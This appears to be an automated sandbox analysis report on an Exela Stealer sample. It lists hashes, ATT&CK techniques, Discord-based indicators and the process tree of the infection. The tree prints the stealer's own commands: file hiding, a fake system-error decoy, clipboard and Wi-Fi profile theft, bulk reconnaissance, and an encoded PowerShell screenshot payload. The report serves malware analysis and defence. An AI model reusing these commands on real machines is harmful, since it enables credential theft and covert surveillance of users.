exelastealer | 4054e6f4b770317d3c847281ce6ea8b19c2fe7efeb4cfd26105eb994cbfa9c4c

Analysis

max time kernel
149s
max time network
95s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
02/04/2026, 16:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Exela.exe
Size 11.3MB
Sample260402-vgwr3sct21
SHA256 4054e6f4b770317d3c847281ce6ea8b19c2fe7efeb4cfd26105eb994cbfa9c4c
MD5 468a2d0f1ee17db95145883fb8907104
SHA1 794d1354c14f6ff8c15be21c486b6c0997f84e10
SHA512 bfe192d47c803b6efb689388775846e4ce3dd91d19a97fa6ce6044a5536d5e886bf387c8531729703ac2711f6401a47fd92633b376035c6ce6682f67168c7608
SSDEEP 196608:44i7kO6KAyzw6yewQGnCU0C3Lp0g7eNRGt+wfm/pf+xfdkRPGlzRxKfrqWOHWPD2:Ti7kJyzHCTdMRGt+9/pWFGRPA0frqW6F
TLSH
T151C63355BBF009F2E8E314BEC084D550D272B8560F10DEDB43581AAD4F1BAA09D7FBA9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection credential_access defense_evasion discovery exelastealer persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Exela Stealer
Exela Stealer is an open source stealer originally written in .NET and later transitioned to Python that was first observed in August 2023.
stealer exelastealer
Exelastealer family
exelastealer
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2460	netsh.exe
3956	netsh.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
4376	cmd.exe
2500	powershell.exe

Loads dropped DLL 32 IoCs

pid	Process
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe
708	Exela.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
7	discord.com
8	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Network Service Discovery 1 TTPs 2 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
1268	ARP.EXE
1996	cmd.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 4 IoCs

discovery

Process Discovery

T1057

pid	Process
384	tasklist.exe
4280	tasklist.exe
4188	tasklist.exe
2960	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3344	cmd.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x001900000002b3a2-46.dat	upx
behavioral2/memory/708-50-0x00007FF98E670000-0x00007FF98EC58000-memory.dmp	upx
behavioral2/files/0x001900000002b36f-56.dat	upx
behavioral2/files/0x001900000002b379-79.dat	upx
behavioral2/files/0x001100000002b378-78.dat	upx
behavioral2/files/0x001900000002b377-77.dat	upx
behavioral2/files/0x001900000002b376-76.dat	upx
behavioral2/files/0x001900000002b375-75.dat	upx
behavioral2/files/0x001500000002b374-74.dat	upx
behavioral2/files/0x001900000002b373-73.dat	upx
behavioral2/files/0x001900000002b372-72.dat	upx
behavioral2/files/0x001900000002b371-71.dat	upx
behavioral2/files/0x001900000002b370-70.dat	upx
behavioral2/files/0x001900000002b36e-69.dat	upx
behavioral2/files/0x001900000002b36d-68.dat	upx
behavioral2/files/0x001a00000002b36c-67.dat	upx
behavioral2/files/0x001900000002b3a5-66.dat	upx
behavioral2/files/0x001900000002b3a4-65.dat	upx
behavioral2/files/0x001900000002b3a3-64.dat	upx
behavioral2/files/0x001900000002b3a0-63.dat	upx
behavioral2/memory/708-62-0x00007FF994F10000-0x00007FF994F1F000-memory.dmp	upx
behavioral2/files/0x001900000002b39b-61.dat	upx
behavioral2/files/0x001900000002b399-60.dat	upx
behavioral2/memory/708-59-0x00007FF992960000-0x00007FF992984000-memory.dmp	upx
behavioral2/files/0x001900000002b39a-58.dat	upx
behavioral2/memory/708-81-0x00007FF993BB0000-0x00007FF993BC9000-memory.dmp	upx
behavioral2/memory/708-83-0x00007FF98F3D0000-0x00007FF98F3FD000-memory.dmp	upx
behavioral2/memory/708-87-0x00007FF993AB0000-0x00007FF993ABD000-memory.dmp	upx
behavioral2/memory/708-86-0x00007FF992940000-0x00007FF992959000-memory.dmp	upx
behavioral2/memory/708-90-0x00007FF98EF50000-0x00007FF98EF73000-memory.dmp	upx
behavioral2/memory/708-91-0x00007FF98E4F0000-0x00007FF98E663000-memory.dmp	upx
behavioral2/memory/708-92-0x00007FF98E670000-0x00007FF98EC58000-memory.dmp	upx
behavioral2/memory/708-94-0x00007FF98EE10000-0x00007FF98EE3E000-memory.dmp	upx
behavioral2/memory/708-96-0x00007FF98E1C0000-0x00007FF98E278000-memory.dmp	upx
behavioral2/memory/708-100-0x00007FF97FE30000-0x00007FF9801A5000-memory.dmp	upx
behavioral2/memory/708-111-0x00007FF98E420000-0x00007FF98E434000-memory.dmp	upx
behavioral2/memory/708-109-0x00007FF98E4B0000-0x00007FF98E4CC000-memory.dmp	upx
behavioral2/files/0x001900000002b3a7-114.dat	upx
behavioral2/memory/708-121-0x00007FF98E3E0000-0x00007FF98E3F9000-memory.dmp	upx
behavioral2/memory/708-120-0x00007FF98E400000-0x00007FF98E41E000-memory.dmp	upx
behavioral2/files/0x001900000002b37c-123.dat	upx
behavioral2/files/0x001900000002b37f-128.dat	upx
behavioral2/files/0x001900000002b37e-127.dat	upx
behavioral2/files/0x001900000002b398-131.dat	upx
behavioral2/files/0x001900000002b396-133.dat	upx
behavioral2/memory/708-140-0x00007FF986380000-0x00007FF986398000-memory.dmp	upx
behavioral2/memory/708-141-0x00007FF97F580000-0x00007FF97FE23000-memory.dmp	upx
behavioral2/memory/708-139-0x00007FF992890000-0x00007FF99289A000-memory.dmp	upx
behavioral2/memory/708-143-0x00007FF98E1A0000-0x00007FF98E1B8000-memory.dmp	upx
behavioral2/memory/708-142-0x00007FF98EE10000-0x00007FF98EE3E000-memory.dmp	upx
behavioral2/memory/708-138-0x00007FF9863A0000-0x00007FF9863CD000-memory.dmp	upx
behavioral2/memory/708-137-0x00007FF9863D0000-0x00007FF9863E1000-memory.dmp	upx
behavioral2/memory/708-136-0x00007FF98E150000-0x00007FF98E197000-memory.dmp	upx
behavioral2/memory/708-135-0x00007FF97FE30000-0x00007FF9801A5000-memory.dmp	upx
behavioral2/files/0x001900000002b37b-125.dat	upx
behavioral2/memory/708-119-0x00007FF98E4F0000-0x00007FF98E663000-memory.dmp	upx
behavioral2/files/0x001900000002b39f-118.dat	upx
behavioral2/memory/708-117-0x00007FF98EF50000-0x00007FF98EF73000-memory.dmp	upx
behavioral2/memory/708-113-0x00007FF984370000-0x00007FF98448C000-memory.dmp	upx
behavioral2/memory/708-107-0x00007FF98E4D0000-0x00007FF98E4E2000-memory.dmp	upx
behavioral2/files/0x001900000002b39d-106.dat	upx
behavioral2/memory/708-105-0x00007FF992780000-0x00007FF992795000-memory.dmp	upx
behavioral2/memory/708-110-0x00007FF992940000-0x00007FF992959000-memory.dmp	upx
behavioral2/memory/708-99-0x00007FF992960000-0x00007FF992984000-memory.dmp	upx

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
232	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1028	cmd.exe
3608	netsh.exe

System Network Connections Discovery 1 TTPs 1 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
960	NETSTAT.EXE

Collects information from the system 1 TTPs 1 IoCs

Uses WMIC.exe to find detailed system information.

Data from Local System

T1005

pid	Process
2352	WMIC.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4568	ipconfig.exe
960	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5112	systeminfo.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2500	powershell.exe
2500	powershell.exe
4848	powershell.exe
4848	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4136	WMIC.exe
Token: SeSecurityPrivilege	4136	WMIC.exe
Token: SeTakeOwnershipPrivilege	4136	WMIC.exe
Token: SeLoadDriverPrivilege	4136	WMIC.exe
Token: SeSystemProfilePrivilege	4136	WMIC.exe
Token: SeSystemtimePrivilege	4136	WMIC.exe
Token: SeProfSingleProcessPrivilege	4136	WMIC.exe
Token: SeIncBasePriorityPrivilege	4136	WMIC.exe
Token: SeCreatePagefilePrivilege	4136	WMIC.exe
Token: SeBackupPrivilege	4136	WMIC.exe
Token: SeRestorePrivilege	4136	WMIC.exe
Token: SeShutdownPrivilege	4136	WMIC.exe
Token: SeDebugPrivilege	4136	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4136	WMIC.exe
Token: SeRemoteShutdownPrivilege	4136	WMIC.exe
Token: SeUndockPrivilege	4136	WMIC.exe
Token: SeManageVolumePrivilege	4136	WMIC.exe
Token: 33	4136	WMIC.exe
Token: 34	4136	WMIC.exe
Token: 35	4136	WMIC.exe
Token: 36	4136	WMIC.exe
Token: SeDebugPrivilege	384	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4136	WMIC.exe
Token: SeSecurityPrivilege	4136	WMIC.exe
Token: SeTakeOwnershipPrivilege	4136	WMIC.exe
Token: SeLoadDriverPrivilege	4136	WMIC.exe
Token: SeSystemProfilePrivilege	4136	WMIC.exe
Token: SeSystemtimePrivilege	4136	WMIC.exe
Token: SeProfSingleProcessPrivilege	4136	WMIC.exe
Token: SeIncBasePriorityPrivilege	4136	WMIC.exe
Token: SeCreatePagefilePrivilege	4136	WMIC.exe
Token: SeBackupPrivilege	4136	WMIC.exe
Token: SeRestorePrivilege	4136	WMIC.exe
Token: SeShutdownPrivilege	4136	WMIC.exe
Token: SeDebugPrivilege	4136	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4136	WMIC.exe
Token: SeRemoteShutdownPrivilege	4136	WMIC.exe
Token: SeUndockPrivilege	4136	WMIC.exe
Token: SeManageVolumePrivilege	4136	WMIC.exe
Token: 33	4136	WMIC.exe
Token: 34	4136	WMIC.exe
Token: 35	4136	WMIC.exe
Token: 36	4136	WMIC.exe
Token: SeDebugPrivilege	4280	tasklist.exe
Token: SeDebugPrivilege	4188	tasklist.exe
Token: SeDebugPrivilege	2500	powershell.exe
Token: SeIncreaseQuotaPrivilege	2352	WMIC.exe
Token: SeSecurityPrivilege	2352	WMIC.exe
Token: SeTakeOwnershipPrivilege	2352	WMIC.exe
Token: SeLoadDriverPrivilege	2352	WMIC.exe
Token: SeSystemProfilePrivilege	2352	WMIC.exe
Token: SeSystemtimePrivilege	2352	WMIC.exe
Token: SeProfSingleProcessPrivilege	2352	WMIC.exe
Token: SeIncBasePriorityPrivilege	2352	WMIC.exe
Token: SeCreatePagefilePrivilege	2352	WMIC.exe
Token: SeBackupPrivilege	2352	WMIC.exe
Token: SeRestorePrivilege	2352	WMIC.exe
Token: SeShutdownPrivilege	2352	WMIC.exe
Token: SeDebugPrivilege	2352	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2352	WMIC.exe
Token: SeRemoteShutdownPrivilege	2352	WMIC.exe
Token: SeUndockPrivilege	2352	WMIC.exe
Token: SeManageVolumePrivilege	2352	WMIC.exe
Token: 33	2352	WMIC.exe

Suspicious use of WriteProcessMemory 57 IoCs

description	pid	Process	procid_target
PID 4712 wrote to memory of 708	4712	Exela.exe	79
PID 708 wrote to memory of 3304	708	Exela.exe	80
PID 708 wrote to memory of 2192	708	Exela.exe	82
PID 708 wrote to memory of 4324	708	Exela.exe	83
PID 2192 wrote to memory of 4136	2192	cmd.exe	86
PID 4324 wrote to memory of 384	4324	cmd.exe	87
PID 708 wrote to memory of 3344	708	Exela.exe	89
PID 3344 wrote to memory of 4924	3344	cmd.exe	91
PID 708 wrote to memory of 4472	708	Exela.exe	92
PID 708 wrote to memory of 2468	708	Exela.exe	94
PID 4472 wrote to memory of 4940	4472	cmd.exe	97
PID 2468 wrote to memory of 4280	2468	cmd.exe	96
PID 708 wrote to memory of 1520	708	Exela.exe	98
PID 708 wrote to memory of 1632	708	Exela.exe	99
PID 708 wrote to memory of 3312	708	Exela.exe	100
PID 708 wrote to memory of 4376	708	Exela.exe	101
PID 1632 wrote to memory of 1784	1632	cmd.exe	106
PID 1520 wrote to memory of 4992	1520	cmd.exe	107
PID 4376 wrote to memory of 2500	4376	cmd.exe	108
PID 1784 wrote to memory of 5052	1784	cmd.exe	109
PID 3312 wrote to memory of 4188	3312	cmd.exe	110
PID 4992 wrote to memory of 4948	4992	cmd.exe	111
PID 708 wrote to memory of 1028	708	Exela.exe	112
PID 708 wrote to memory of 1996	708	Exela.exe	114
PID 1028 wrote to memory of 3608	1028	cmd.exe	116
PID 1996 wrote to memory of 5112	1996	cmd.exe	117
PID 1996 wrote to memory of 328	1996	cmd.exe	119
PID 1996 wrote to memory of 2352	1996	cmd.exe	120
PID 1996 wrote to memory of 4328	1996	cmd.exe	121
PID 4328 wrote to memory of 3984	4328	net.exe	122
PID 1996 wrote to memory of 1160	1996	cmd.exe	123
PID 1160 wrote to memory of 4780	1160	query.exe	124
PID 1996 wrote to memory of 4284	1996	cmd.exe	125
PID 4284 wrote to memory of 1580	4284	net.exe	126
PID 1996 wrote to memory of 1764	1996	cmd.exe	127
PID 1764 wrote to memory of 1204	1764	net.exe	128
PID 1996 wrote to memory of 1276	1996	cmd.exe	129
PID 1276 wrote to memory of 400	1276	net.exe	130
PID 1996 wrote to memory of 1180	1996	cmd.exe	131
PID 1180 wrote to memory of 1980	1180	net.exe	132
PID 1996 wrote to memory of 4180	1996	cmd.exe	133
PID 1996 wrote to memory of 2960	1996	cmd.exe	134
PID 1996 wrote to memory of 4568	1996	cmd.exe	135
PID 1996 wrote to memory of 4808	1996	cmd.exe	136
PID 1996 wrote to memory of 1268	1996	cmd.exe	137
PID 1996 wrote to memory of 960	1996	cmd.exe	138
PID 1996 wrote to memory of 232	1996	cmd.exe	139
PID 1996 wrote to memory of 2460	1996	cmd.exe	140
PID 1996 wrote to memory of 3956	1996	cmd.exe	141
PID 708 wrote to memory of 920	708	Exela.exe	142
PID 920 wrote to memory of 1776	920	cmd.exe	144
PID 708 wrote to memory of 4972	708	Exela.exe	145
PID 4972 wrote to memory of 4848	4972	cmd.exe	147
PID 4848 wrote to memory of 4280	4848	powershell.exe	148
PID 4280 wrote to memory of 2128	4280	csc.exe	149
PID 708 wrote to memory of 788	708	Exela.exe	150
PID 788 wrote to memory of 4308	788	cmd.exe	152

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4924	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Exela.exe
"C:\Users\Admin\AppData\Local\Temp\Exela.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4712
- C:\Users\Admin\AppData\Local\Temp\Exela.exe
  "C:\Users\Admin\AppData\Local\Temp\Exela.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:3304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2192
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4324
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:3344
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe"
      4⤵
      Views/modifies file attributes
      PID:4924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4472
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
      4⤵
      PID:4940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2468
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1520
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c chcp
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4992
    - - C:\Windows\system32\chcp.com
        
        chcp
        5⤵
        
        PID:4948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1632
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c chcp
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1784
    - - C:\Windows\system32\chcp.com
        
        chcp
        5⤵
        
        PID:5052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3312
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:4376
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:1028
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
    3⤵
    - Network Service Discovery
    - Suspicious use of WriteProcessMemory
    PID:1996
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:5112
  - - C:\Windows\system32\HOSTNAME.EXE
      hostname
      4⤵
      PID:328
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic logicaldisk get caption,description,providername
      4⤵
      Collects information from the system
      Suspicious use of AdjustPrivilegeToken
      PID:2352
  - - C:\Windows\system32\net.exe
      net user
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4328
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user
        5⤵
        
        PID:3984
  - - C:\Windows\system32\query.exe
      query user
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1160
    - - C:\Windows\system32\quser.exe
        
        "C:\Windows\system32\quser.exe"
        5⤵
        
        PID:4780
  - - C:\Windows\system32\net.exe
      net localgroup
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4284
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup
        5⤵
        
        PID:1580
  - - C:\Windows\system32\net.exe
      net localgroup administrators
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1764
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators
        5⤵
        
        PID:1204
  - - C:\Windows\system32\net.exe
      net user guest
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1276
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user guest
        5⤵
        
        PID:400
  - - C:\Windows\system32\net.exe
      net user administrator
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1180
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user administrator
        5⤵
        
        PID:1980
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic startup get caption,command
      4⤵
      PID:4180
  - - C:\Windows\system32\tasklist.exe
      tasklist /svc
      4⤵
      Enumerates processes with tasklist
      PID:2960
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:4568
  - - C:\Windows\system32\ROUTE.EXE
      route print
      4⤵
      PID:4808
  - - C:\Windows\system32\ARP.EXE
      arp -a
      4⤵
      Network Service Discovery
      PID:1268
  - - C:\Windows\system32\NETSTAT.EXE
      netstat -ano
      4⤵
      System Network Connections Discovery
      Gathers network information
      PID:960
  - - C:\Windows\system32\sc.exe
      sc query type= service state= all
      4⤵
      Launches sc.exe
      PID:232
  - - C:\Windows\system32\netsh.exe
      netsh firewall show state
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:2460
  - - C:\Windows\system32\netsh.exe
      netsh firewall show config
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:3956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:920
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:1776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAA